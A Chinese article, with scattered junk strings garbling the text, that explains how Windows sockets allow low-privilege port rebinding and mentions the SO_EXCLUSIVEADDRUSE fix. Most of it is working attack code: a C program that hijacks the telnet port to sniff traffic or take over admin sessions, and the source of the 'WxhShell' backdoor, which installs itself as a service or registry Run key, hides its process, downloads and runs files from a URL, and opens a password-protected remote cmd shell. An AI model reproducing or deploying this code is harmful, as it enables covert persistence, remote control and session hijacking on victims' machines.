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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g7r0U6Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ogJ>`0 +J b/UjKNf@ saddr.sin_family = AF_INET; jN%+)Kj0C) L[Y|K%;~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); J';XAB } cJ#%OU3p bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lT+N{[kLt* 6AKT-r. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 71G00@&w9D +~?K@n 这意味着什么?意味着可以进行如下的攻击: -O6\!Wo=- aFDCVm%U| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h5ZxxtGU ^ oh%Ns 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u4~(0 nE"0?VNW$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M7gM#bv>L W4S]2P>T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9|2LuHQu+ ~c'R7E&Bfa 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eQsoZQA1 ixJwv\6Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C-;}a%c" p/?TU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'p4b8:X l?zWi[Zf #include 6'JP%~QlS #include C<hb{$@ #include \2AXW@xE #include TmdRB8N DWORD WINAPI ClientThread(LPVOID lpParam); 0@2pw2{Ru int main() hJ0m;j&4y { fZt3cE\ WORD wVersionRequested; &:Sb$+z DWORD ret; 23gJD8i8 WSADATA wsaData;
?`Som_vKO BOOL val; J.pe&1 SOCKADDR_IN saddr; * TR~>| SOCKADDR_IN scaddr; 6 WEu(}= int err; Clzz!v SOCKET s; -1 _7z{. SOCKET sc; >Av%[G5=h# int caddsize; Q)ZkUmW HANDLE mt; <=&7*8u0+ DWORD tid; l|K`'YS!<{ wVersionRequested = MAKEWORD( 2, 2 ); }S>:!9f err = WSAStartup( wVersionRequested, &wsaData ); n`g:dz if ( err != 0 ) { !FR1yO'd> printf("error!WSAStartup failed!\n"); V39)[FH} return -1; be5NasC } von~-51; saddr.sin_family = AF_INET; ?u8vK<2h N>_d {=P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1w|V'e?kb 5zsXqBG saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %]@K}!)2 saddr.sin_port = htons(23); DwC8?s*2H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rCO:39L- { ,JmA e6 printf("error!socket failed!\n"); h\^> s$ return -1; UT7".1H } hDs.4MZC` val = TRUE; aXefi'!6 //SO_REUSEADDR选项就是可以实现端口重绑定的 s%~p?_P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2_HPsEx { 5-pz/%, printf("error!setsockopt failed!\n"); A4W61f return -1; SAGLLk07G } $0K%H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Wy%F
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c/57_fOK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zorTZ #5 _"`U.!3* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v#`Wf}G { xbA% 'p ret=GetLastError(); o s
HE4x printf("error!bind failed!\n"); {G%!M+n< return -1; ')w*c } l@om2|B listen(s,2); RKP->@Gs while(1) :22IY>p { Z qg(\ caddsize = sizeof(scaddr); HH|&$C|64 //接受连接请求 7o+!Gts] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hexq]' R if(sc!=INVALID_SOCKET) {P#&e>)v{ { WLWE%bDP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FBcF if(mt==NULL) SJ-g2aAT { <nj[=C4v printf("Thread Creat Failed!\n"); hqY9\,.C break; %6"b<
MAO } 0\jOg } va8V{q@t' CloseHandle(mt); wDZFOx0#8 } DwZt.* closesocket(s); ys;e2xekg WSACleanup(); ?Y'S
/ return 0; ?8(`tS(_? } ,\DB8v6l\A DWORD WINAPI ClientThread(LPVOID lpParam) j78xMGKO { N)h>Ie SOCKET ss = (SOCKET)lpParam; XI\aZ\v SOCKET sc; Em@h5V unsigned char buf[4096]; ?4Z0)%6 SOCKADDR_IN saddr; (`18W1f5W long num; r[Q$w> DWORD val; tTyu,%/m DWORD ret; ;?2vW8{p< //如果是隐藏端口应用的话,可以在此处加一些判断 :*&wnQMKR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 RQ{w`>K saddr.sin_family = AF_INET; S/d})8~. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "\BP+AF saddr.sin_port = htons(23); 0m`7|80#P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X{#@ :z$ { ^^?DYC
printf("error!socket failed!\n"); 2ZtqZ64i return -1; 9zO3KT2 } dY\"'LtF val = 100; 54J<ZXCs
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ].dTEzL9X { y=vH8D]%X ret = GetLastError(); e^Xij Id. return -1; AD?DIE(v } q 8=u.T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bOck^1Hk y { kM3BP&
3m1 ret = GetLastError(); 4Ro(r
sO return -1; BQS9q'u_ } .4!N#' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N`Bt|#R { R|+R4' printf("error!socket connect failed!\n"); &ApJ'uC closesocket(sc); Xe+&/J5b closesocket(ss); d;<n [)@ return -1; rY!uc! } DAu|`pyC% while(1) Xq>e]#gR { 4nl>&AV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z}bnw2d] //如果是嗅探内容的话,可以再此处进行内容分析和记录 3Gp4%UT& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0"2 [I num = recv(ss,buf,4096,0); ^2kWD8c* if(num>0) \aZ(@eF@@Q send(sc,buf,num,0); 0= 'DDy else if(num==0) : l>Ue& break; @>9p2u)= num = recv(sc,buf,4096,0); TLSy+x_gX if(num>0) B?0{=u send(ss,buf,num,0); ~M'\9 else if(num==0) G'Q7(c break; )%y~{j+ M } .v" lY2:N closesocket(ss); rd,mbH[<C closesocket(sc); uPF yRWK return 0 ; u4<r$[]V } ]R4)FH|>< .897Z|$VB 2 !;4mij, ========================================================== YQ]H3GA y{<#pS. 下边附上一个代码,,WXhSHELL xeI ,Kz." ,K9UT#h ========================================================== `C*!de]Y% f<w*l<@ #include "stdafx.h" VNYLps@4H <Y#R]gf1 #include <stdio.h> !GIsmqVY #include <string.h> HQ
s)T #include <windows.h> Z@[,"{Sn #include <winsock2.h> :>X7(&j8 #include <winsvc.h> I
}/Oi]jA6 #include <urlmon.h> li%-9Jd &16bZw #pragma comment (lib, "Ws2_32.lib") MtYP3: #pragma comment (lib, "urlmon.lib")
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*[SsvlFt #define MAX_USER 100 // 最大客户端连接数 H*\[:tPa #define BUF_SOCK 200 // sock buffer .d"+M{I #define KEY_BUFF 255 // 输入 buffer oX}n"5o: R{[Q+y'E #define REBOOT 0 // 重启 "T&uS1+=c #define SHUTDOWN 1 // 关机 uWWv`bI>x Un/fP1 #define DEF_PORT 5000 // 监听端口 %b{!9-n} ^ Wl/ #define REG_LEN 16 // 注册表键长度 *.*:(7` #define SVC_LEN 80 // NT服务名长度 DO\EB6xH>% J7\q#] ? // 从dll定义API mN eW|3a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x>J3tp$2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <=inogf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +E [b Lz^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *(`.h\+ %f-<ol // wxhshell配置信息 $dnHUBB struct WSCFG { Nb#7&_f= int ws_port; // 监听端口 WsV3>=@f char ws_passstr[REG_LEN]; // 口令 ) ,hj7 int ws_autoins; // 安装标记, 1=yes 0=no \Zv =?\ char ws_regname[REG_LEN]; // 注册表键名 dI!/:x char ws_svcname[REG_LEN]; // 服务名 v$i%>tQ\ char ws_svcdisp[SVC_LEN]; // 服务显示名 _B1uE2j9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 J:lwq@u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -$)Et | int ws_downexe; // 下载执行标记, 1=yes 0=no /K!,^Xn char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }}1/Ede{5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =|!~0O ~1'468 }; U959=e 1hviT& // default Wxhshell configuration 7:L~n(QpP struct WSCFG wscfg={DEF_PORT, :(b3)K "xuhuanlingzhe", )/Xrhhx 1, 'U"3'jh "Wxhshell", Z]S0AB.Z@ "Wxhshell", x!~OK::o8 "WxhShell Service", #5C3S3e= "Wrsky Windows CmdShell Service", tlERis "Please Input Your Password: ", W[>Tq T63 1, sOxdq"E " http://www.wrsky.com/wxhshell.exe", .:ZXtU "Wxhshell.exe" )t0b$<% }; $M`;." &{/>Sv!6# // 消息定义模块 \.1b\\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0o|,& K char *msg_ws_prompt="\n\r? for help\n\r#>"; otSPi7|k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *wB-lg7% char *msg_ws_ext="\n\rExit."; L[G\+ char *msg_ws_end="\n\rQuit."; G^ZkY char *msg_ws_boot="\n\rReboot..."; ;]M67ma7C char *msg_ws_poff="\n\rShutdown..."; /Z "
4[ char *msg_ws_down="\n\rSave to "; lq8ko@ *6D%mrK char *msg_ws_err="\n\rErr!"; '(pdk char *msg_ws_ok="\n\rOK!"; c;rp@_ULG? *@arn Eu char ExeFile[MAX_PATH]; ~}0hN]*G int nUser = 0; K^vp(2 HANDLE handles[MAX_USER]; z){UuiUM+= int OsIsNt; !-RpRRR[Co %H}Y]D~R SERVICE_STATUS serviceStatus; pu$XUt
SERVICE_STATUS_HANDLE hServiceStatusHandle; >jz%bY [9U srpYi // 函数声明 ;9 &1JX int Install(void); .&Pe7`.BE int Uninstall(void); i5<Va@ru!s int DownloadFile(char *sURL, SOCKET wsh); Wx|6A#cg! int Boot(int flag); <oaBh)=7 void HideProc(void); }
o"_#\6 int GetOsVer(void); . 02(O int Wxhshell(SOCKET wsl); =@KY A(D void TalkWithClient(void *cs); FJ%R3N\ int CmdShell(SOCKET sock); #oroY.o int StartFromService(void); (bFWT_CChz int StartWxhshell(LPSTR lpCmdLine); i)= 89?8 7x7r!rSe, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); txfwLqx VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pv-V7`{ lzy$.H"W // 数据结构和表定义 DET!br'z5 SERVICE_TABLE_ENTRY DispatchTable[] = _ K+V?-= { 0HJqsSZ$mW {wscfg.ws_svcname, NTServiceMain}, Go+xL/f {NULL, NULL} F}B/-".^ }; Ddl% V7 7YXXkdgbd // 自我安装 'oiD#\t4 int Install(void) k *;{n8o?) { Sp~Gv>uMK char svExeFile[MAX_PATH]; ~2A$R'x b HKEY key; KpbZnW}g strcpy(svExeFile,ExeFile); FSwgPIO> :
9?Cm` // 如果是win9x系统,修改注册表设为自启动 ,Z*3,/a if(!OsIsNt) { @2~O^5[> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0o=6A<#x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e7bT%h9i RegCloseKey(key); &^3~=$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?`
eYWZ"> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9{UP)17 RegCloseKey(key); `/wq3+ ? return 0; /,!7jF: } n#^?X } H8<7# } :&1=8^B Y else { nA_
zP4 %hQMC'c // 如果是NT以上系统,安装为系统服务 kk/+Vx~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %j[LRY/ if (schSCManager!=0) nhQ44qRgQ { AeY$.b SC_HANDLE schService = CreateService %is,t<G ( ! F;<xgw schSCManager, =wlm wscfg.ws_svcname, o9T@uWh+ wscfg.ws_svcdisp,
\ +?,c\x SERVICE_ALL_ACCESS, S1az3VJI\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8MeO U SERVICE_AUTO_START, .i3lG(
YG SERVICE_ERROR_NORMAL, x^#6>oOR svExeFile, (w#slTFT NULL, dp
UdFuU" NULL, }KD7 Y NULL, UE&C NULL, pRrqs+IJZ\ NULL zh{@?k ); l)i&ATvCE if (schService!=0) Q/3tg { |>IUtUg\ CloseServiceHandle(schService); 0?6If+AC CloseServiceHandle(schSCManager); :?$Sb8OuIL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wlr&g
xZ strcat(svExeFile,wscfg.ws_svcname); h=K36a) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e\^g|60f_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BDm88<] RegCloseKey(key); [V2omSZo return 0; ~E<PtDab } GTp?)nh^ } ^EC)~HP@C CloseServiceHandle(schSCManager); co$Hi9JE } o%/-5- } ]{Mci]H6T <uBhi4 return 1; #Cg}!38 } G. -h=DT] 2xL!PR- // 自我卸载 :_o] F int Uninstall(void) _uO!N(k. { Q{.{#G HKEY key; -'O Q-5 LXh@o1 if(!OsIsNt) { KJ0xp hf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (^DLCP#* RegDeleteValue(key,wscfg.ws_regname); J$6-c'8 RegCloseKey(key);
JVUZ}#O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F_Z&-+,*3t RegDeleteValue(key,wscfg.ws_regname); `N|U"s; RegCloseKey(key); Xr@l+zr return 0; ih+*T1#:( } D4=..; } IdV,%d{ } ,YP1$gj else { YM# Qq,i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6?1s`{yy if (schSCManager!=0) Sc;iAi
( { p@?7^nIR*u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3d,-3U if (schService!=0) <&qpl0U)Y { P3>..fhoW if(DeleteService(schService)!=0) { S3ab0JM CloseServiceHandle(schService); 0`VD!_` CloseServiceHandle(schSCManager); !G)mjvEe return 0; /~o7Q$)-b } QHHW(InG< CloseServiceHandle(schService); ZdE>C } a)3O? Y CloseServiceHandle(schSCManager); Vl5SL{+D } _o@(wGeu# } D~G5]M,}$ Od0S2hHO return 1; u-AWJc+F . } fOa6, /6+1{p // 从指定url下载文件 [D*J[?yt int DownloadFile(char *sURL, SOCKET wsh) .ocx(_3G { LYd}w(} HRESULT hr; ]]el| char seps[]= "/"; u~$WH, P3 char *token; 6B7< char *file; eq^TA1>T char myURL[MAX_PATH]; V~/.Y&WN char myFILE[MAX_PATH]; %xf)m[JU= z=ML(1c= strcpy(myURL,sURL); Z} c'Bm( token=strtok(myURL,seps); k4S} #!
while(token!=NULL) p]wP36<S! { F0@Qgk]\ file=token; 54<6Dy f token=strtok(NULL,seps); DZ^=*. } 6!ZVd#OM% -G8c5b[ GetCurrentDirectory(MAX_PATH,myFILE); xKY$L* strcat(myFILE, "\\"); ! mm5I#s strcat(myFILE, file); _e6a8 send(wsh,myFILE,strlen(myFILE),0); XR|"dbZW.0 send(wsh,"...",3,0); N*~_\x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #MUiL= if(hr==S_OK) -g:lOht return 0; yc*<:(p else U);OR return 1; ([Ebsj WElrk:b } (Up'$J} x Y| yI> // 系统电源模块 \ZS\i4 int Boot(int flag) , 7Xqte { 'V&2Xvl% HANDLE hToken; nB=0T`vQ TOKEN_PRIVILEGES tkp; 2
#KoN8% +O'vj if(OsIsNt) { ^OF5F8Tf/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;
yyO0Ha LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X:Q$gO?[4 tkp.PrivilegeCount = 1; N=#4L$@- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8zZSp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P<u"97@8a if(flag==REBOOT) { $&IpX M] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ymtd>P" return 0; PRD_!VOW } +e'X; else { FSU<Y1|XM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Y#bN*! return 0; "x&3Z@q7 } -l
"U"U"F } ~s#e,Kav" else { &3Tx@XhO if(flag==REBOOT) { J3G7zu8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +yWR#[`n return 0; y? "@v. } Wr>(#*r7q else { F6W}mMZH/N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ' "'Btxz return 0; H] k'?; } jJ~Y]dQi } zE`R,:VI 0+EN@Y^dAV return 1; DZe}y^F } 5lTD]d B
wC+ov= // win9x进程隐藏模块 tWY2o3j void HideProc(void) o9Sn*p-. { 1zjaR4Tf Ax!Gu$K2o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kZVm1W1 if ( hKernel != NULL ) z/1{OL { EA|k5W*b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (R'+jWH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fk1.iRVzi FreeLibrary(hKernel); >|3a
9S } z<pJYpxH 6GYtY> return; zoP%u,XL } nxaT.uFd1 Bf]$X>d // 获取操作系统版本 ~O;y?]U int GetOsVer(void) hazq#J! { Pl+xH%U+? OSVERSIONINFO winfo; 6:?rlh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )"`!AerJ GetVersionEx(&winfo); 4:mCXP,x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o>c^aRZ{ return 1; #SkX@sl@ else 8g*hvPc return 0; *7" L]6 } 4_LQ?U>$ #Qbl=o4 // 客户端句柄模块 WM,i:P)b int Wxhshell(SOCKET wsl) 4/*H.Fl { ~p*1:ij SOCKET wsh; Pxhz@":[ struct sockaddr_in client; z^W$%G DWORD myID; l#bAl/c` 5PZN^\^ while(nUser<MAX_USER) 6^#uLp> { s_eOcm int nSize=sizeof(client); [s`
G^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?4[H]BK if(wsh==INVALID_SOCKET) return 1; :\yc*OtX u3ZCT" ! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iOqk*EL_r\ if(handles[nUser]==0) 7Kf}O6nE closesocket(wsh); (~s|=Hxq|- else f9TV%fG? nUser++; & ,L9O U } xx8U$,Ng WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :reTJQwr O~@fXMthh return 0; 8Fq_i-u } >UHa #S5`Pd!I // 关闭 socket h`5)2n+ P void CloseIt(SOCKET wsh) XU-m"_t { M>l^%` closesocket(wsh); [!"XcFY:a nUser--; %<Q*Jf ExitThread(0);
27 GhE } onte&Ed\ )`HA:: // 客户端请求句柄 Vhg1/EgUr void TalkWithClient(void *cs) mBk5+KyT { ijUzC>O+q 1 W'F3 SOCKET wsh=(SOCKET)cs; oq;'eM1,. char pwd[SVC_LEN]; YaY8 `M{ char cmd[KEY_BUFF]; {CUk1+ char chr[1]; UUtbD&\ int i,j; <I=$ry6 8 cHD%{xlb while (nUser < MAX_USER) { "uD=KlA ZR3nK0 if(wscfg.ws_passstr) { Hs0pW5oZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >q7
%UK]& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 68t}w^= //ZeroMemory(pwd,KEY_BUFF); j+^L~, S i=0; / 8gL.i$ while(i<SVC_LEN) { 7#2j>G{?]v 7*+TP~WI // 设置超时 j"7
JLe* fd_set FdRead; \4bWWy struct timeval TimeOut; v[S-Pi1 FD_ZERO(&FdRead); p25Fn`}H FD_SET(wsh,&FdRead); +,flE=5]s TimeOut.tv_sec=8; >+9JD%]x] TimeOut.tv_usec=0; d"THt} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q9>U1]\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p1O6+hRio V@ :20m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +=3CL2{An pwd =chr[0]; <GIwRVCU if(chr[0]==0xd || chr[0]==0xa) { raB+,Oi$G pwd=0; 0[a}n6XTk break; ",B'k } [CN$ScK, i++; $3P`DJo } eD;6okdP }e{qW // 如果是非法用户,关闭 socket K|^wc$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *\XH+/]+ } RtV.d\ FY#!N
L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =@r--E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "{BqtU*. xJ(:m<z while(1) { aXR%;]<Dw 3 <SqoJSp ZeroMemory(cmd,KEY_BUFF); y]
V1b{9p 'K@0Wp // 自动支持客户端 telnet标准 _sMs}?^ j=0; Q/^A #l[ while(j<KEY_BUFF) { sic$uT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N:BL=}V cmd[j]=chr[0]; Dpqt;8"2L if(chr[0]==0xa || chr[0]==0xd) { 2(#Ks's? cmd[j]=0; <'m6^]: break; clDHTj=~ } :nGMtF j++; \ e:d)^cbh } jNl/!l7B -|_ir-j // 下载文件 DJ;g|b if(strstr(cmd,"http://")) { 4tc:. send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fi;VDK(V9 if(DownloadFile(cmd,wsh)) ^Udv]Wh send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?&c:q3_-Z else IF_D Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7 a4uc } 8L{u}|{ else { h/ep`-YaH _PXdzeI. switch(cmd[0]) { 3C^1frF ~!:0iFE&H // 帮助 \L]|-f(4 case '?': { <$Yi]ty send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zz"}Cz:bX break; H7&xLYQ2 } >)4YP*qIPb // 安装 d>i13dAI case 'i': { Z`_.x
&Y if(Install()) h'5Cp(G send(wsh,msg_ws_err,strlen(msg_ws_err),0); q~Jq/E"f else d/U."V} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p+w8$8) break; T[uDZYx } ]> G&jd7 // 卸载 igkz2S I case 'r': { M7dU@ Ag if(Uninstall()) i@$*Csj\9* send(wsh,msg_ws_err,strlen(msg_ws_err),0); _"N\b%CkO else iS: #o> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P%>?[9!Nt break; v,1F--v } $|<m9CW // 显示 wxhshell 所在路径 hx!7w}[A case 'p': { (4+1lOd char svExeFile[MAX_PATH]; a39h P* strcpy(svExeFile,"\n\r"); C7qYiSv strcat(svExeFile,ExeFile); S*t%RZ~a send(wsh,svExeFile,strlen(svExeFile),0); h=+$>_&: break; ;=;JfNnbm } ;A#~`P // 重启 :)c80`-E case 'b': { ]7/gJ>g, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P]6}\
]~ if(Boot(REBOOT)) :c8^db`" send(wsh,msg_ws_err,strlen(msg_ws_err),0); m4/er539T else { Z85|I.mr closesocket(wsh); +=fKT,-*G! ExitThread(0); i/qTFQst
_ } l5O=VqCj break; o/p-! } 8l) // 关机 j6>tH"i case 'd': { %_f;G+fK\p send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .9M.| if(Boot(SHUTDOWN)) HOPqxI(k send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:
us!s else { 5K.+CO< closesocket(wsh); m_lrPY- ExitThread(0); Fdt}..H% } )"u:ytK{ break; V2 `>
]/| } n9oR)&:o // 获取shell b|?;h21rG case 's': { ]PS\#I} CmdShell(wsh);
(_+;R closesocket(wsh); &8?`< ExitThread(0); Spj9H ?m break; Cvn$]bt/s } 2p< Aj! // 退出 ?2`$3[ET- case 'x': { aiux^V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [.cq{6- CloseIt(wsh); T\sNtdF`: break; (B#(Z= } dOXD{c // 离开 x ^vt; $ case 'q': { <r\I"z$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); uHvaZMu closesocket(wsh); H5M#q6`H6 WSACleanup(); 3H8Al exit(1); <DmTj$ break; ^.HWkS`e } A7Y_HIo } -!dQ)UEP } (F&YdWe: uqZ3Hyb // 提示信息 ^gg!Me if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E(Gr0#8 } eyB_l.U7 } {LB`)Kuu buYDl return; _s>^?x} } 3,$iGe WU\m^!`w=F // shell模块句柄 F`&>NQb int CmdShell(SOCKET sock) J(9=T<%T { p_6P`Yx^e STARTUPINFO si; ;`j U_ ZeroMemory(&si,sizeof(si)); vm}G[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8S>>7z!U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {D(,ft;s^ PROCESS_INFORMATION ProcessInfo; uPDaq ]A char cmdline[]="cmd"; VS`Z_Xn CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gCV rC return 0; 0wvU?z%WK } JDhwN<0R ` :5,e/5, // 自身启动模式 *l!5QG UoK int StartFromService(void) 8=4^Lm { x[Q&k[xV typedef struct PqfVX8/q0 { Qj!d ^8 DWORD ExitStatus; 3o0IjZ=[> DWORD PebBaseAddress; }x0Z(
` DWORD AffinityMask; sU%"azc DWORD BasePriority; eH[y[~r ULONG UniqueProcessId; fsI`DjKi) ULONG InheritedFromUniqueProcessId; .@K#U52 } PROCESS_BASIC_INFORMATION; m+T2vi 4 PROCNTQSIP NtQueryInformationProcess; z7q%,yw3N (xUFl@I! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]h8/M7k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
